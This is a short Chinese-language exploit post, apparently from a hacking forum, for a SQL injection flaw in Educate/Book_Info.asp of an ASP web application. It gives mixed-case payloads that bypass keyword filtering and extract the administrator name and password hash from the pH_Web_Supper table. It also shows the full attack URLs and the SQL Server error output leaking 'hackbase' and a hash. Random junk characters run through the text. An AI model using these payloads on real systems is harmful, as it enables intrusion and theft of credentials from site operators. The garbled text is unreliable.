漏洞出现在Educate/Book_Info.asp
+ O$ @6 i9 ~6 O5 g; f8 P9 b
1 P# e. f( S B- g此处注入点虽然过滤了一些关键字 但是我们还是可以盲注的 可以利用sqlmap跑出, U: I5 R! r& P# ^( N* T
2 ~5 J, i; N% v) [. k9 v) |
exp:如下
1 A N/ d8 {0 q6 X( x$ h! G: z查询管理账号:+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)0 H' Z% E# Z# V& N& r
查询管理密码:+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)4 V7 \5 M" K w+ l) H+ X
& P* g3 ]6 q6 _2 vhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_SupperName+frOm+pH_Web_Supper)
- {/ b( {, q3 l/ c- n ! x* ~! X3 A! W# M; I
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'; ^( |6 A n- W. N
( s& \' u5 c, o4 K% c
将 nvarchar 值 'hackbase' 转换为数据类型为 int 的列时发生语法错误。
+ Q9 f6 x" T# @8 L" r6 `6 c7 d ) C( ]% S, l4 c$ B9 P
/Educate/Book_Info.asp,行 8- J3 H# B/ c0 l: I
. A3 M- i- U# B& u/ P6 W; L4 v$ fhttp://www.xxx.com /Educate/Book_Info.asp?Param=20+aNd+0=(selEct+toP+1+su_Password+frOm+pH_Web_Supper)
$ A7 n! @9 E, v! r * ~; h; o7 j& X/ x; |( X; e
Microsoft OLE DB Provider for SQL Server 错误 '80040e07'1 F' ^9 Z5 @3 `2 N6 y M, B
; q3 A1 U9 q# T! S+ ]: I( C* v
将 nvarchar 值 '165706AD8319D7F95B7FC5E82FBE8F' 转换为数据类型为 int 的列时发生语法错误。
6 J& b. O, r. c* M
4 u; J8 A# Z7 A/ a6 O/Educate/Book_Info.asp,行 8
0 r7 O- U9 f/ m) O1 v2 ] b. V |